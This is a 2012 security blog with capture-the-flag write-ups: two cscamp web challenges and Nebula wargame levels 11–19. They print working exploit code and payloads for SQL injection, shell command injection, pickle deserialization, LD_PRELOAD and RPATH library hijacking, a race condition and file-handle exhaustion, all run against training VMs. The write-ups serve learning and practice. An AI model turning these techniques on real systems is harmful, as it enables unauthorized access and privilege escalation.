Monday, November 12, 2012

[CTF] cscamp quals: web200


We are required to provide the solution of an equation. Looking around for this "equation", we check the HTTP response headers and find:
kroosec@dojo:~$ curl -i http://176.9.193.13/ASmallCalculationChal411A784Y.php
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 02:51:03 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Set-Cookie: x0x=g2jiqbg2ebeol7qn1h9j0ljd24; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
EQ: YXJyYXkgKAogIDAgPT4gMTk1MDM0Njk5MiwKICAxID0+ICcqJywKICAyID0+IDM3NTI5MjE3NywKICAzID0+ICdeJywKICA0ID0+IDc4ODU4ODMyNCwKICA1ID0+ICcrJywKICA2ID0+IDgxNDA1MTc2MCwKICA3ID0+ICctJywKICA4ID0+IDEzNTc3MTM2MzcsCik=
Vary: Accept-Encoding
Content-Length: 189
Content-Type: text/html

<!-- what are you looking for here ? -->
<title>some thing </title>
<form method="POST">
    Enter The Result of the equation :
    <input name="result" >
    <input type="submit">
</form>
The content of the EQ (equation!) header is base64 encoded. Decoding it get:
kroosec@dojo:~/notes/cscamp$ echo -n "YXJyYXkgKAogIDAgPT4gMTk1MDM0Njk5MiwKICAxID0+ICcqJywKICAyID0+IDM3NTI5MjE3NywKICAzID0+ICdeJywKICA0ID0+IDc4ODU4ODMyNCwKICA1ID0+ICcrJywKICA2ID0+IDgxNDA1MTc2MCwKICA3ID0+ICctJywKICA4ID0+IDEzNTc3MTM2MzcsCik=" | base64 -d
array (
  0 => 1950346992,
  1 => '*',
  2 => 375292177,
  3 => '^',
  4 => 788588324,
  5 => '+',
  6 => 814051760,
  7 => '-',
  8 => 1357713637,
)
The content changes for every HTTP response, and we have to provide a result in less than 2 seconds. Here is a quick python script to get the HTTP request, decode the EQ header content, eval the equation and post back the result using the same cookie that we got from the first response (which is used to track that the result came in less than 2 seconds.)
import requests
import os
response = requests.get("http://176.9.193.13/ASmallCalculationChal411A784Y.php")
cookies = dict(x0x = response.cookies['x0x'])
eqhdr = response.headers['eq'].decode('base64')
equation = ""
for line in eqhdr.split(',')[:-1]:
    equation += line.split()[-1].strip("'")
result = os.popen("php -r 'echo "+equation+";'").read()
result = requests.post("http://176.9.193.13/ASmallCalculationChal411A784Y.php",
        data="result="+str(result), cookies=cookies)
print result.content
kroosec@dojo:~$ python pwn-web200.py
your key is : 94b85aae697641c8732c9136603e0cf5
As a side note, I spent a couple of minutes wondering why the server kept on saying that the provided result was wrong. That was because I was initially evaluating the equation in Python directly, not passing it to the php interpreter, so I was ending up with results such as 3870519785 (python)  3870519784 (php) so that is something to keep track of.

[CTF] cscamp quals: web100


Visiting  http://176.9.193.13/SimplEL0g1n.php we get a response containing a form asking for a password.
You need a valid login to get the key : <input name="login" type="text">
    <input value="login" type="submit">
   </div>
Trying ddd as password, we get as a response.
For Obzitto : >>> select * from login where password='ddd'
wrong password, access blocked, try after 2 mn 
Trying ddd', we get as a response.
For Obzitto : >>> select * from login where password='ddd\''
wrong password, access blocked, try after 2 mn 
Let's escape the escape! providing as a password: \' OR 1=1-- 
For Obzitto : >>> select * from login where password='\\' OR 1=1-- '
Congratz : b9d4ee2d0586673a1cda99f87e1b9368

Friday, November 2, 2012

exploit-exercises Nebula: Summary

These are the write-ups for exploit-exercises' Nebula wargame. If you have never tried it, download the Virtual Machine and try the challenges, they are fun and educational and you could always learn a trick or two. Posted mainly as a reference, and for other people to discuss other solutions, approaches, ideas etc,.
If you came here looking for a solution, try harder, it could be done. Do not cheat, it is not worth it.
level00
level01
level02
level03
level04
level05
level06
level07
level08
level09
level10
level11
level12
level13
level14
level15
level16
level17
level18
level19

exploit-exercises Nebula: level19

In the last challenge of the Nebula wargame, we have the source code of a vulnerable binary.

snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
the returned value of getppid() (which returns the pid of the parent of the calling process) is what defines whether we will get a shell or not. Investigating the getppid(), we find out that it returns the PID of init (i.e 1), and /proc/1 is owned by root. The vulnerability is thus, a race condition by letting the parent which called flag19 exiting before flag19 makes the getppid(). Let's exploit this vulnerability.

level19@nebula:~$ cat pwn19.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    int p;
    p = fork();
    if (p == 0) {
sleep(1);
execl("/home/flag19/flag19", "/bin/sh", "-c", "/bin/getflag
> /tmp/pwnie19", (char *)NULL);
    }
    exit(0);
}
level19@nebula:~$ gcc pwn19.c
level19@nebula:~$ ./a.out
level19@nebula:~$ cat /tmp/pwnie19 

You have successfully executed getflag on a target account
And that is it, the end of Nebula wargame. Next :)

exploit-exercises Nebula: level18

This time, we will solve level18 of Nebula wargame. The source code of the vulnerable binary is provided. Most importantly

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
                fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

globals.loggedin = 1;

}

As it could be seen, we have to bypass the if(fp) check. Ofcourse, we don't have read access to the password file. What is to be noticed is that global.loggedin = 1 is outside of the if(fp) block. This means that if we are able to make the fopen() call return NULL, we will skip the if conditional block and be loggedin. After investigating what are the possible ways to make the fopen() call fail, I have come across the idea of exhausting file handlers.
level18@nebula:~$ cat /proc/sys/fs/file-nr 
288 0 23521
There are 288 open files. The maximum amount of open files simultaneously is 23521 (way higher on my own box.) First thought is to write a program that loops for 24k times calling fopen() each time. But we have some limits.
level18@nebula:~$ ulimit -Sn
The soft limit of open files by process is 1024, so we will change that to a higher value, matching the one of the hard limit which can't be increased without privileges.
level18@nebula:~$ ulimit -Hn
4096
level18@nebula:~$ ulimit -Sn 4096
Now we will launch the file handlers exhausting program for a couple of times to exhaust all the file handlers.
level18@nebula:~$ cat fhexhaust.c 
#include <stdio.h>
int main(int argc, char *argv[]) {
    int i;
    FILE *fp;
    for(i = 0; i < 4096; i++) {
fp = fopen("/tmp/pwnie18", "r");
    }
    printf("let's take a nap\n");
    sleep(30);
    return 0;
}
The program will sleep for 30 seconds, letting us do the job calmly (80 WPM, if that is what you are thinking about.)
We first start flag18, and CTRL-Z out of it.
level18@nebula:~$ touch /tmp/pwnie18
level18@nebula:~$ ../flag18/flag18 

^Z
[2]+  Stopped(SIGTSTP)        ../flag18/flag18
We then launch fhexhaust 6 times.
level18@nebula:~$ for i in {1..6}
> do
> ./a.out &
> done

[2] 4311
[3] 4312
[4] 4313
[5] 4314
[6] 4315
[7] 4316
level18@nebula:~$ let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap

And we switch back to flag18 to login as the file handlers are exhausted.
level18@nebula:~$ jobs
[1]+  Stopped(SIGTSTP)        ../flag18/flag18
[2]   Running                 ./a.out &
[3]   Running                 ./a.out &
[4]   Running                 ./a.out &
[5]   Running                 ./a.out &
[6]   Running                 ./a.out &
[7]   Running                 ./a.out &
level18@nebula:~$ fg 1
../flag18/flag18
login
^Z
We kill the exhausters (to free their resources) before querying for a shell (Otherwise, execve will return -1 and errno is set
to ENFILE)
level18@nebula:~$ fg 1
../flag18/flag18
shell
flag18@nebula:~$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
flag18@nebula:~$ getflag 
You have successfully executed getflag on a target account

exploit-exercises Nebula: level17

In level17 of Nebula wargame, we have Python script. The type of vulnerability should be obvious as soon as we see "import pickle".

Pickle is an object serialization module for Python. It has always been known to be insecure as there are no restrictions on the objects that are deserialized. There was a great presentation at Blackhat 2011 about Python shellcoding from SensePost. Here is the payload we will be using

kroosec@dojo:~$ cat pwn17
cos
system
(S'getflag > /tmp/pwnie17'
tR.
which is, when deserialized is equivalent to os.system("getflag > /tmp/pwnie17"). We will send the exploit with netcat.
kroosec@dojo:~$ nc 192.168.56.101 10007 < pwn17
level17@nebula:~$ cat /tmp/pwnie17

You have successfully executed getflag on a target account

exploit-exercises Nebula: level16

another level in the Nebula wargame and another os command injection vulnerability. The source code is provided.
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("Login resuls");
if($_[0] == 1) {
print("Your login was accepted
");
} else {
print("Your login failed
");
}
print("Would you like a cookie?\n");
}

htmlz(login(param("username"), param("password")));
The username parameter is vulnerable to command injection, but there are some restrictions that we should bypass. The content of the username parameter is converted to uppercase and everything that follows the first space is stripped out.
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
To bypass these restrictions, we will use case modifications.
we first close the double quote (and provide egrep with null input), we assign /tmp/pwn to the pwnvar variable and apply ,, case modification to pwnvar's value to lowercase it again, we end the command and comment out what comes next. Our payload will be "</dev/null;pwnvar=/tmp/pwn;${pwnvar,,};#
level16@nebula:~$ cat /tmp/pwn16
#!/bin/sh
/bin/getflag > /tmp/pwnie16
URL Encode our payload %22%3C%2Fdev%2Fnull%3Bpwnvar%3D%2Ftmp%2Fpwn16%3B%24%7Bpwnvar%2C%2C%7D%3B%23
and launch the exploit http://192.168.56.101:1616/index.cgi?username=%22%3C%2Fdev%2Fnull%3Bpwnvar%3D%2Ftmp%2Fpwn16%3B%24%7Bpwnvar%2C%2C%7D%3B%23
level16@nebula:~$ cat /tmp/pwnage
You have successfully executed getflag on a target account

exploit-exercises Nebula: level15

level15 of Nebula wargame, was actually a tricky challenge. We are told to strace flag15 to spot anything out of the ordinary, look for how to compile shared libraries and review dlopen(3) man page in depth. When strace'ing the binary, we see a lot of misses at the library loading time under /var/tmp/flag15.
level15@nebula:~$ strace ../flag15/flag15 
execve("../flag15/flag15", ["../flag15/flag15"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9c76000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb780b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)<snip>
Investigating this matter (and why the binary is searching under /var/tmp/flag15) leads us to finding that it was linked with a specific RPATH value.
level15@nebula:~$ objdump -p /home/flag15/flag15 | grep RPATH
  RPATH                /var/tmp/flag15
And we have write access to /var/tmp, it becomes clear that we should add a fake libc.so under /var/tmp/flag15. A first try looked like this:
level15@nebula:/var/tmp/flag15$ cat pwn15.c 
#include <unistd.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * *
ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void
(* stack_end)) {
 
execl("/bin/getflag", (char *)NULL, (char *)NULL);
   }
i.e hijacking __libc_start_main to run /bin/getflag
level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc pwn15.o -shared -o libc.so.6
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, c in file libc.so.6 with link time reference
After investigating the matter, I came with the idea of using version script when linking
level15@nebula:/var/tmp/flag15$ cat verscript 
GLIBC_2.0 {
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript -o libc.so.6 pwn.o
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
Checking with ld(1)'s options and specifically the -Bstatic option.
level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -o libc.so.6 pwn.o -static-libgcc
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account

exploit-exercises Nebula: level14

level14 of Nebula wargame says that we have a binary that takes input from standard input and outputs an encryption. Our goal is to decrypt the token file.
level14@nebula:~$ cat ../flag14/token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
Playing a bit with the binary, we see that the "encryption" is just encoding the input by incrementing characters one-by-one with a value that starts at 0 and is increased by 1 each time.
level14@nebula:~$ echo -n "aaaaaaaaaaaaa" | ../flag14/flag14 -e
abcdefghijklm
Taking this into account, decrypting the content of token becomes trivial. A simple python script for the task.
level14@nebula:~$ cat dec.py 
import sys
result = ""
pos = 0
with open(sys.argv[1], "r") as f:
    for c in f.read()[:-1]:
        result += chr(ord(c) - pos)
        pos += 1
print result
level14@nebula:~$ python dec.py ../flag14/token
8457c118-887c-4e40-a5a6-33a25353165
We login into flag14 and getflag!
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account

exploit-exercises Nebula: level13

Continuing with Nebula wargame, and this time with level13. The source code of the vulnerable program is provided.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
The part where the token is calculated is snipped out obivously. Because our goal is to force the program to output the token, we need to bypass the FAKEUID check. Ofcourse, our userid is different than 1000, and we can't really change it. Let's (ab)use LD_PRELOAD to hijack the getuid() system call.
level13@nebula:~$ cat mygetuid.c 
#include <sys/types.h>
uid_t getuid(void) { return 1000; }
level13@nebula:~$ gcc -shared -fPIC mygetuid.c -o mygetuid.so
level13@nebula:~$ LD_PRELOAD=./mygetuid.so ../flag13/flag13 

Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation
One gotcha! The real user id of the binary (flag13) and the .so should be the same! Without such a restriction, a whole security model would collapse ;)
level13@nebula:~$ cp ../flag13/flag13 ./
level13@nebula:~$ ls -l
total 20
-rwxr-x--- 1 level13 level13 7321 2012-10-21 10:20 flag13
-rw-rw-r-- 1 level13 level13   60 2012-10-21 10:17 mygetuid.c
-rwxrwxr-x 1 level13 level13 6658 2012-10-21 10:24 mygetuid.so
Given that we want the binary to run and print the token value, the binary's owner is not important (this wouldn't be the case, if for example we wanted the binary to run an executable such as getflag or bash.)
level13@nebula:~$ LD_PRELOAD=./mygetuid.so ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
And that is the password for the flag13 account which we will use to log into the flag13 account, and getflag!
flag13@nebula:~$ getflag 
You have successfully executed getflag on a target account

exploit-exercises Nebula: level12

This time with level12  of Nebula wargame. The source code of flag12 is provided
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end

while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
Not much explanation is needed for this challenge. We have an os command injection vulnerability that we will exploit by terminating the echo command, executing /bin/getflag, and commenting out the remaining part of the command.
level12@nebula:~$ nc localhost 50001
Password: "";/bin/getflag > /tmp/pwnie12;#
Better luck next time
level12@nebula:~$ cat /tmp/pwnie12
You have successfully executed getflag on a target account

Thursday, November 1, 2012

exploit-exercises Nebula: level11

In level11 of Nebula wargame, we have a vulnerable program that processes standard input and executes a shell command (extracted from the standard input.) The source code of flag11 is provided.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */
int getrand(char **path)
{
    char *tmp;
    int pid;
    int fd;
    srandom(time(NULL));
    tmp = getenv("TEMP");
    pid = getpid();
    asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
   'A' + (random() % 26), '0' + (random() % 10),
   'a' + (random() % 26), 'A' + (random() % 26),
   '0' + (random() % 10), 'a' + (random() % 26));
    fd = open(*path, O_CREAT|O_RDWR, 0600);
    unlink(*path);
    return fd;
}
void process(char *buffer, int length)
{
    unsigned int key;
    int i;
    key = length & 0xff;
    for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
    }
    setgid(getgid());
    setuid(getuid());
    system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
    char line[256];
    char buf[1024];
    char *mem;
    int length;
    int fd;
    char *path;
    if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
    }
    if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
    }
    length = atoi(line + strlen(CL));
    if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
   err(1, "fread length");
}
process(buf, length);
    } else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
   printf("blue = %d, length = %d, ", blue, length);
   pink = fread(buf, 1, sizeof(buf), stdin);
   printf("pink = %d\n", pink);
   if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
   }
   write(fd, buf, pink);
   blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd,
0);
if(mem == MAP_FAILED) {
   err(1, "mmap");
}
process(mem, length);
    }
}

There are some restrictions on the standard input we have to provide. First, it should start with "Content-Length: "
if(strncmp(line, CL, strlen(CL)) != 0) {errx(1, "invalid header");}
Then, atoi() is applied on the following content on the same line.
length = atoi(line + strlen(CL));
and depending on the value of length ( < 1024), the code will take one of two routes. The challenging part is that the input we provide won't be executed as is but will go through some modifications.
level11@nebula:~$ python -c 'print "Content-Length: 1024\n"+"A"*1023' | ../flag11/flag11blue = 1024, length = 1024, pink = 1024sh: $'A\376\200': command not found
Or in a simpler way: "input" => "rubbish". To exploit this process we should provide an input that when given to process() would be converted into something meaningful e.g "exploit_code" => "/bin/getflag".Let's do the reverse operation. pwn11.c will generate an output that contains "Content-Length: 1024\npayload". When payload is given to process(), it will be encoded into "/bin/getflag;rubbish" The rubbish part is not really interesting to us.
level11@nebula:~$ cat pwn11.c 
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    char buffer[1024];
    unsigned int key;
    int length = 1024;
    int i;
    char *header = "Content-Length: 1024\n";
    strncpy(buffer, "/bin/getflag;", 13);
    write(1, header, 21);
    read(stdin, buffer, length);
    key = length & 0xff;
    for (i = 0; i < 1024; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }
    write(1, buffer, length);
}
level11@nebula:~$ gcc pwn11.c
level11@nebula:~$ ./a.out | ../flag11/flag11 

blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
And that is it, +1 level-up!